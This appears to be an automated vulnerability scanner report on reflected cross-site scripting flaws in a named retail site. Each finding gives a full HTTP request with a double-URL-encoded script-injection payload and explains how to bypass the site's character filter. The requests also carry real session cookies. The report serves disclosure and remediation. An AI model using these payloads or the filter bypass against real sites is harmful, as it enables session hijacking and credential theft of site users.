Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Remediation background
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload b1122%2527%253ba0685222803 was submitted in the REST URL parameter 2. This input was echoed as b1122';a0685222803 in the application's response.
This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /accessories-store/inkb1122%2527%253ba0685222803 HTTP/1.1 Host: www.shopping.hp.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a2dbb%2522%2520a%253db%252095f7b05015f was submitted in the REST URL parameter 5. This input was echoed as a2dbb" a=b 95f7b05015f in the application's response.
This behaviour demonstrates that it is possible to inject new attributes into an existing HTML tag. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 5 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /can/computer/categories/storage_solutions/1a2dbb%2522%2520a%253db%252095f7b05015f/accessories HTTP/1.1 Host: www.shopping.hp.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e1090%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e2337bc2f6d6 was submitted in the REST URL parameter 3. This input was echoed as e1090"><script>alert(1)</script>2337bc2f6d6 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /product/computers/notebookse1090%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e2337bc2f6d6/CQ62Z_series/rts/4/computer_store/XG636UA%2523ABA HTTP/1.1 Host: www.shopping.hp.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: jumpstack=%5B%5B%27in_r329_prodexp/hhoslp/psg/lateralnav_everyday_computing_notebooks_home%27%2C%271294243486772%27%5D%2C%5B%27in_r329_prodexp/hhoslp/psg/notebooks/everyday_computing/cq62z_series%27%2C%271294243501951%27%5D%5D; s_var_20=in_r329_prodexp/hhoslp/psg/notebooks/everyday_computing/cq62z_series; s_sq=hphqglobal%2Chphqna%2Chphqhhorollup%2Chphqnahpshopping%2Chphqglobalsctest%3D%2526pid%253Dhho%25253Ags%25253Apdp%25253Anotebooks%25253Arts_notebooks%25253Acompaq%252520presario%252520cq56-110%252520notebook%252520pc%252520%252520matte%252520black%2526pidt%253D1%2526oid%253DView%252520Cart%252520%252526%252520Checkout%252520%2525u00BB%2526oidt%253D3%2526ot%253DSUBMIT; s_depth=6; OV_VISTA_2009_04_09=0; prop12=r163; HP_EBUS_HP_CLICKS=4x6x19; hpshopping=1&user_id=0&home_slot_1=XG636UA%23ABA%7CXJ330AV&home_slot_1_type=0%7CCTO&home_slot_1_category=0%7Cnotebooks%2FCQ62Z_series&home_slot_1_Affix=0%7CGS&cart_id=1591728510; s_cc=true; hp_cust_seg_sel=HHO; HHOJSID=LVhxNkWRB2JGQGyc9L3TC6zGDg3GM9p1sPd6jnY6Nc9Z4bPjvqCK!-1500337058; s_vi=[CS]v1|26923B880501291C-600001148002159B[CE]; OAX=rnneEk0kecMAAItK; hp_cidww=tsgsc; hpcompc_usen=cartExists=true; gpv_pN=hho%3Ags%3Apdp%3Anotebooks%3Arts_notebooks%3Acompaq%20presario%20cq56-110%20notebook%20pc%20%20matte%20black; EMID=;
The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 2cbdb%2522%253balert%25281%2529%252f%252f2d0089883c8 was submitted in the REST URL parameter 3. This input was echoed as 2cbdb";alert(1)//2d0089883c8 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /product/computers/notebooks2cbdb%2522%253balert%25281%2529%252f%252f2d0089883c8/CQ62Z_series/rts/4/computer_store/XG636UA%2523ABA HTTP/1.1 Host: www.shopping.hp.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: jumpstack=%5B%5B%27in_r329_prodexp/hhoslp/psg/lateralnav_everyday_computing_notebooks_home%27%2C%271294243486772%27%5D%2C%5B%27in_r329_prodexp/hhoslp/psg/notebooks/everyday_computing/cq62z_series%27%2C%271294243501951%27%5D%5D; s_var_20=in_r329_prodexp/hhoslp/psg/notebooks/everyday_computing/cq62z_series; s_sq=hphqglobal%2Chphqna%2Chphqhhorollup%2Chphqnahpshopping%2Chphqglobalsctest%3D%2526pid%253Dhho%25253Ags%25253Apdp%25253Anotebooks%25253Arts_notebooks%25253Acompaq%252520presario%252520cq56-110%252520notebook%252520pc%252520%252520matte%252520black%2526pidt%253D1%2526oid%253DView%252520Cart%252520%252526%252520Checkout%252520%2525u00BB%2526oidt%253D3%2526ot%253DSUBMIT; s_depth=6; OV_VISTA_2009_04_09=0; prop12=r163; HP_EBUS_HP_CLICKS=4x6x19; hpshopping=1&user_id=0&home_slot_1=XG636UA%23ABA%7CXJ330AV&home_slot_1_type=0%7CCTO&home_slot_1_category=0%7Cnotebooks%2FCQ62Z_series&home_slot_1_Affix=0%7CGS&cart_id=1591728510; s_cc=true; hp_cust_seg_sel=HHO; HHOJSID=LVhxNkWRB2JGQGyc9L3TC6zGDg3GM9p1sPd6jnY6Nc9Z4bPjvqCK!-1500337058; s_vi=[CS]v1|26923B880501291C-600001148002159B[CE]; OAX=rnneEk0kecMAAItK; hp_cidww=tsgsc; hpcompc_usen=cartExists=true; gpv_pN=hho%3Ags%3Apdp%3Anotebooks%3Arts_notebooks%3Acompaq%20presario%20cq56-110%20notebook%20pc%20%20matte%20black; EMID=;
The value of REST URL parameter 3 is copied into the HTML document as plain text between tags. The payload 5b4b3%253cscript%253ealert%25281%2529%253c%252fscript%253e25a6899f495 was submitted in the REST URL parameter 3. This input was echoed as 5b4b3<script>alert(1)</script>25a6899f495 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /product/computers/notebooks5b4b3%253cscript%253ealert%25281%2529%253c%252fscript%253e25a6899f495/CQ62Z_series/rts/4/computer_store/XG636UA%2523ABA HTTP/1.1 Host: www.shopping.hp.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: jumpstack=%5B%5B%27in_r329_prodexp/hhoslp/psg/lateralnav_everyday_computing_notebooks_home%27%2C%271294243486772%27%5D%2C%5B%27in_r329_prodexp/hhoslp/psg/notebooks/everyday_computing/cq62z_series%27%2C%271294243501951%27%5D%5D; s_var_20=in_r329_prodexp/hhoslp/psg/notebooks/everyday_computing/cq62z_series; s_sq=hphqglobal%2Chphqna%2Chphqhhorollup%2Chphqnahpshopping%2Chphqglobalsctest%3D%2526pid%253Dhho%25253Ags%25253Apdp%25253Anotebooks%25253Arts_notebooks%25253Acompaq%252520presario%252520cq56-110%252520notebook%252520pc%252520%252520matte%252520black%2526pidt%253D1%2526oid%253DView%252520Cart%252520%252526%252520Checkout%252520%2525u00BB%2526oidt%253D3%2526ot%253DSUBMIT; s_depth=6; OV_VISTA_2009_04_09=0; prop12=r163; HP_EBUS_HP_CLICKS=4x6x19; hpshopping=1&user_id=0&home_slot_1=XG636UA%23ABA%7CXJ330AV&home_slot_1_type=0%7CCTO&home_slot_1_category=0%7Cnotebooks%2FCQ62Z_series&home_slot_1_Affix=0%7CGS&cart_id=1591728510; s_cc=true; hp_cust_seg_sel=HHO; HHOJSID=LVhxNkWRB2JGQGyc9L3TC6zGDg3GM9p1sPd6jnY6Nc9Z4bPjvqCK!-1500337058; s_vi=[CS]v1|26923B880501291C-600001148002159B[CE]; OAX=rnneEk0kecMAAItK; hp_cidww=tsgsc; hpcompc_usen=cartExists=true; gpv_pN=hho%3Ags%3Apdp%3Anotebooks%3Arts_notebooks%3Acompaq%20presario%20cq56-110%20notebook%20pc%20%20matte%20black; EMID=;
The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 4c11e%2527%253bc2de67ee5d0 was submitted in the REST URL parameter 3. This input was echoed as 4c11e';c2de67ee5d0 in the application's response.
This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /product/computers/notebooks4c11e%2527%253bc2de67ee5d0/CQ62Z_series/rts/4/computer_store/XG636UA%2523ABA HTTP/1.1 Host: www.shopping.hp.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: jumpstack=%5B%5B%27in_r329_prodexp/hhoslp/psg/lateralnav_everyday_computing_notebooks_home%27%2C%271294243486772%27%5D%2C%5B%27in_r329_prodexp/hhoslp/psg/notebooks/everyday_computing/cq62z_series%27%2C%271294243501951%27%5D%5D; s_var_20=in_r329_prodexp/hhoslp/psg/notebooks/everyday_computing/cq62z_series; s_sq=hphqglobal%2Chphqna%2Chphqhhorollup%2Chphqnahpshopping%2Chphqglobalsctest%3D%2526pid%253Dhho%25253Ags%25253Apdp%25253Anotebooks%25253Arts_notebooks%25253Acompaq%252520presario%252520cq56-110%252520notebook%252520pc%252520%252520matte%252520black%2526pidt%253D1%2526oid%253DView%252520Cart%252520%252526%252520Checkout%252520%2525u00BB%2526oidt%253D3%2526ot%253DSUBMIT; s_depth=6; OV_VISTA_2009_04_09=0; prop12=r163; HP_EBUS_HP_CLICKS=4x6x19; hpshopping=1&user_id=0&home_slot_1=XG636UA%23ABA%7CXJ330AV&home_slot_1_type=0%7CCTO&home_slot_1_category=0%7Cnotebooks%2FCQ62Z_series&home_slot_1_Affix=0%7CGS&cart_id=1591728510; s_cc=true; hp_cust_seg_sel=HHO; HHOJSID=LVhxNkWRB2JGQGyc9L3TC6zGDg3GM9p1sPd6jnY6Nc9Z4bPjvqCK!-1500337058; s_vi=[CS]v1|26923B880501291C-600001148002159B[CE]; OAX=rnneEk0kecMAAItK; hp_cidww=tsgsc; hpcompc_usen=cartExists=true; gpv_pN=hho%3Ags%3Apdp%3Anotebooks%3Arts_notebooks%3Acompaq%20presario%20cq56-110%20notebook%20pc%20%20matte%20black; EMID=;
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html lang="en"> <head> <!-- hp ...[SNIP]... // get the catLevel, landing, category & subcat1 from the request // Commented out below lines to remove directLink var omni_landing = 'computers'; var omni_category = 'notebooks4c11e';c2de67ee5d0/CQ62Z_series'; var omni_catLevel = '4'; var omni_subcat1 = 'rts';
//Script added to introduce New Omniture Variables if(omni_landing == null || omni_landing == '' || o ...[SNIP]...
The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 538bc%2522%253balert%25281%2529%252f%252fcaee68f3ed1 was submitted in the REST URL parameter 4. This input was echoed as 538bc";alert(1)//caee68f3ed1 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. There is probably no need to perform a second URL-decode of the value of REST URL parameter 4 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /product/computers/notebooks/CQ62Z_series538bc%2522%253balert%25281%2529%252f%252fcaee68f3ed1/rts/4/computer_store/XG636UA%2523ABA HTTP/1.1 Host: www.shopping.hp.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: jumpstack=%5B%5B%27in_r329_prodexp/hhoslp/psg/lateralnav_everyday_computing_notebooks_home%27%2C%271294243486772%27%5D%2C%5B%27in_r329_prodexp/hhoslp/psg/notebooks/everyday_computing/cq62z_series%27%2C%271294243501951%27%5D%5D; s_var_20=in_r329_prodexp/hhoslp/psg/notebooks/everyday_computing/cq62z_series; s_sq=hphqglobal%2Chphqna%2Chphqhhorollup%2Chphqnahpshopping%2Chphqglobalsctest%3D%2526pid%253Dhho%25253Ags%25253Apdp%25253Anotebooks%25253Arts_notebooks%25253Acompaq%252520presario%252520cq56-110%252520notebook%252520pc%252520%252520matte%252520black%2526pidt%253D1%2526oid%253DView%252520Cart%252520%252526%252520Checkout%252520%2525u00BB%2526oidt%253D3%2526ot%253DSUBMIT; s_depth=6; OV_VISTA_2009_04_09=0; prop12=r163; HP_EBUS_HP_CLICKS=4x6x19; hpshopping=1&user_id=0&home_slot_1=XG636UA%23ABA%7CXJ330AV&home_slot_1_type=0%7CCTO&home_slot_1_category=0%7Cnotebooks%2FCQ62Z_series&home_slot_1_Affix=0%7CGS&cart_id=1591728510; s_cc=true; hp_cust_seg_sel=HHO; HHOJSID=LVhxNkWRB2JGQGyc9L3TC6zGDg3GM9p1sPd6jnY6Nc9Z4bPjvqCK!-1500337058; s_vi=[CS]v1|26923B880501291C-600001148002159B[CE]; OAX=rnneEk0kecMAAItK; hp_cidww=tsgsc; hpcompc_usen=cartExists=true; gpv_pN=hho%3Ags%3Apdp%3Anotebooks%3Arts_notebooks%3Acompaq%20presario%20cq56-110%20notebook%20pc%20%20matte%20black; EMID=;
The value of REST URL parameter 4 is copied into the HTML document as plain text between tags. The payload 6e6a9%253cscript%253ealert%25281%2529%253c%252fscript%253e735d13e9d3e was submitted in the REST URL parameter 4. This input was echoed as 6e6a9<script>alert(1)</script>735d13e9d3e in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 4 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /product/computers/notebooks/CQ62Z_series6e6a9%253cscript%253ealert%25281%2529%253c%252fscript%253e735d13e9d3e/rts/4/computer_store/XG636UA%2523ABA HTTP/1.1 Host: www.shopping.hp.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: jumpstack=%5B%5B%27in_r329_prodexp/hhoslp/psg/lateralnav_everyday_computing_notebooks_home%27%2C%271294243486772%27%5D%2C%5B%27in_r329_prodexp/hhoslp/psg/notebooks/everyday_computing/cq62z_series%27%2C%271294243501951%27%5D%5D; s_var_20=in_r329_prodexp/hhoslp/psg/notebooks/everyday_computing/cq62z_series; s_sq=hphqglobal%2Chphqna%2Chphqhhorollup%2Chphqnahpshopping%2Chphqglobalsctest%3D%2526pid%253Dhho%25253Ags%25253Apdp%25253Anotebooks%25253Arts_notebooks%25253Acompaq%252520presario%252520cq56-110%252520notebook%252520pc%252520%252520matte%252520black%2526pidt%253D1%2526oid%253DView%252520Cart%252520%252526%252520Checkout%252520%2525u00BB%2526oidt%253D3%2526ot%253DSUBMIT; s_depth=6; OV_VISTA_2009_04_09=0; prop12=r163; HP_EBUS_HP_CLICKS=4x6x19; hpshopping=1&user_id=0&home_slot_1=XG636UA%23ABA%7CXJ330AV&home_slot_1_type=0%7CCTO&home_slot_1_category=0%7Cnotebooks%2FCQ62Z_series&home_slot_1_Affix=0%7CGS&cart_id=1591728510; s_cc=true; hp_cust_seg_sel=HHO; HHOJSID=LVhxNkWRB2JGQGyc9L3TC6zGDg3GM9p1sPd6jnY6Nc9Z4bPjvqCK!-1500337058; s_vi=[CS]v1|26923B880501291C-600001148002159B[CE]; OAX=rnneEk0kecMAAItK; hp_cidww=tsgsc; hpcompc_usen=cartExists=true; gpv_pN=hho%3Ags%3Apdp%3Anotebooks%3Arts_notebooks%3Acompaq%20presario%20cq56-110%20notebook%20pc%20%20matte%20black; EMID=;
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a9263%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e6dcfbca60aa was submitted in the REST URL parameter 4. This input was echoed as a9263"><script>alert(1)</script>6dcfbca60aa in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 4 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /product/computers/notebooks/CQ62Z_seriesa9263%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e6dcfbca60aa/rts/4/computer_store/XG636UA%2523ABA HTTP/1.1 Host: www.shopping.hp.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: jumpstack=%5B%5B%27in_r329_prodexp/hhoslp/psg/lateralnav_everyday_computing_notebooks_home%27%2C%271294243486772%27%5D%2C%5B%27in_r329_prodexp/hhoslp/psg/notebooks/everyday_computing/cq62z_series%27%2C%271294243501951%27%5D%5D; s_var_20=in_r329_prodexp/hhoslp/psg/notebooks/everyday_computing/cq62z_series; s_sq=hphqglobal%2Chphqna%2Chphqhhorollup%2Chphqnahpshopping%2Chphqglobalsctest%3D%2526pid%253Dhho%25253Ags%25253Apdp%25253Anotebooks%25253Arts_notebooks%25253Acompaq%252520presario%252520cq56-110%252520notebook%252520pc%252520%252520matte%252520black%2526pidt%253D1%2526oid%253DView%252520Cart%252520%252526%252520Checkout%252520%2525u00BB%2526oidt%253D3%2526ot%253DSUBMIT; s_depth=6; OV_VISTA_2009_04_09=0; prop12=r163; HP_EBUS_HP_CLICKS=4x6x19; hpshopping=1&user_id=0&home_slot_1=XG636UA%23ABA%7CXJ330AV&home_slot_1_type=0%7CCTO&home_slot_1_category=0%7Cnotebooks%2FCQ62Z_series&home_slot_1_Affix=0%7CGS&cart_id=1591728510; s_cc=true; hp_cust_seg_sel=HHO; HHOJSID=LVhxNkWRB2JGQGyc9L3TC6zGDg3GM9p1sPd6jnY6Nc9Z4bPjvqCK!-1500337058; s_vi=[CS]v1|26923B880501291C-600001148002159B[CE]; OAX=rnneEk0kecMAAItK; hp_cidww=tsgsc; hpcompc_usen=cartExists=true; gpv_pN=hho%3Ags%3Apdp%3Anotebooks%3Arts_notebooks%3Acompaq%20presario%20cq56-110%20notebook%20pc%20%20matte%20black; EMID=;
The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 6fd0a%2527%253b2eb5e5cb8d7 was submitted in the REST URL parameter 4. This input was echoed as 6fd0a';2eb5e5cb8d7 in the application's response.
This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. There is probably no need to perform a second URL-decode of the value of REST URL parameter 4 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /product/computers/notebooks/CQ62Z_series6fd0a%2527%253b2eb5e5cb8d7/rts/4/computer_store/XG636UA%2523ABA HTTP/1.1 Host: www.shopping.hp.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: jumpstack=%5B%5B%27in_r329_prodexp/hhoslp/psg/lateralnav_everyday_computing_notebooks_home%27%2C%271294243486772%27%5D%2C%5B%27in_r329_prodexp/hhoslp/psg/notebooks/everyday_computing/cq62z_series%27%2C%271294243501951%27%5D%5D; s_var_20=in_r329_prodexp/hhoslp/psg/notebooks/everyday_computing/cq62z_series; s_sq=hphqglobal%2Chphqna%2Chphqhhorollup%2Chphqnahpshopping%2Chphqglobalsctest%3D%2526pid%253Dhho%25253Ags%25253Apdp%25253Anotebooks%25253Arts_notebooks%25253Acompaq%252520presario%252520cq56-110%252520notebook%252520pc%252520%252520matte%252520black%2526pidt%253D1%2526oid%253DView%252520Cart%252520%252526%252520Checkout%252520%2525u00BB%2526oidt%253D3%2526ot%253DSUBMIT; s_depth=6; OV_VISTA_2009_04_09=0; prop12=r163; HP_EBUS_HP_CLICKS=4x6x19; hpshopping=1&user_id=0&home_slot_1=XG636UA%23ABA%7CXJ330AV&home_slot_1_type=0%7CCTO&home_slot_1_category=0%7Cnotebooks%2FCQ62Z_series&home_slot_1_Affix=0%7CGS&cart_id=1591728510; s_cc=true; hp_cust_seg_sel=HHO; HHOJSID=LVhxNkWRB2JGQGyc9L3TC6zGDg3GM9p1sPd6jnY6Nc9Z4bPjvqCK!-1500337058; s_vi=[CS]v1|26923B880501291C-600001148002159B[CE]; OAX=rnneEk0kecMAAItK; hp_cidww=tsgsc; hpcompc_usen=cartExists=true; gpv_pN=hho%3Ags%3Apdp%3Anotebooks%3Arts_notebooks%3Acompaq%20presario%20cq56-110%20notebook%20pc%20%20matte%20black; EMID=;
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html lang="en"> <head> <!-- hp ...[SNIP]... catLevel, landing, category & subcat1 from the request // Commented out below lines to remove directLink var omni_landing = 'computers'; var omni_category = 'notebooks/CQ62Z_series6fd0a';2eb5e5cb8d7'; var omni_catLevel = '4'; var omni_subcat1 = 'rts';
//Script added to introduce New Omniture Variables if(omni_landing == null || omni_landing == '' || omni_landing = ...[SNIP]...
The value of REST URL parameter 5 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 19ef3%2527%253bd53fea99865 was submitted in the REST URL parameter 5. This input was echoed as 19ef3';d53fea99865 in the application's response.
This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. There is probably no need to perform a second URL-decode of the value of REST URL parameter 5 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /product/computers/notebooks/CQ62Z_series/rts19ef3%2527%253bd53fea99865/4/computer_store/XG636UA%2523ABA HTTP/1.1 Host: www.shopping.hp.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: jumpstack=%5B%5B%27in_r329_prodexp/hhoslp/psg/lateralnav_everyday_computing_notebooks_home%27%2C%271294243486772%27%5D%2C%5B%27in_r329_prodexp/hhoslp/psg/notebooks/everyday_computing/cq62z_series%27%2C%271294243501951%27%5D%5D; s_var_20=in_r329_prodexp/hhoslp/psg/notebooks/everyday_computing/cq62z_series; s_sq=hphqglobal%2Chphqna%2Chphqhhorollup%2Chphqnahpshopping%2Chphqglobalsctest%3D%2526pid%253Dhho%25253Ags%25253Apdp%25253Anotebooks%25253Arts_notebooks%25253Acompaq%252520presario%252520cq56-110%252520notebook%252520pc%252520%252520matte%252520black%2526pidt%253D1%2526oid%253DView%252520Cart%252520%252526%252520Checkout%252520%2525u00BB%2526oidt%253D3%2526ot%253DSUBMIT; s_depth=6; OV_VISTA_2009_04_09=0; prop12=r163; HP_EBUS_HP_CLICKS=4x6x19; hpshopping=1&user_id=0&home_slot_1=XG636UA%23ABA%7CXJ330AV&home_slot_1_type=0%7CCTO&home_slot_1_category=0%7Cnotebooks%2FCQ62Z_series&home_slot_1_Affix=0%7CGS&cart_id=1591728510; s_cc=true; hp_cust_seg_sel=HHO; HHOJSID=LVhxNkWRB2JGQGyc9L3TC6zGDg3GM9p1sPd6jnY6Nc9Z4bPjvqCK!-1500337058; s_vi=[CS]v1|26923B880501291C-600001148002159B[CE]; OAX=rnneEk0kecMAAItK; hp_cidww=tsgsc; hpcompc_usen=cartExists=true; gpv_pN=hho%3Ags%3Apdp%3Anotebooks%3Arts_notebooks%3Acompaq%20presario%20cq56-110%20notebook%20pc%20%20matte%20black; EMID=;
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html lang="en"> <head> <!-- hp ...[SNIP]... ted out below lines to remove directLink var omni_landing = 'computers'; var omni_category = 'notebooks/CQ62Z_series'; var omni_catLevel = '4'; var omni_subcat1 = 'rts19ef3';d53fea99865';
The value of REST URL parameter 5 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload beb35%2522%253b96441d622b9 was submitted in the REST URL parameter 5. This input was echoed as beb35";96441d622b9 in the application's response.
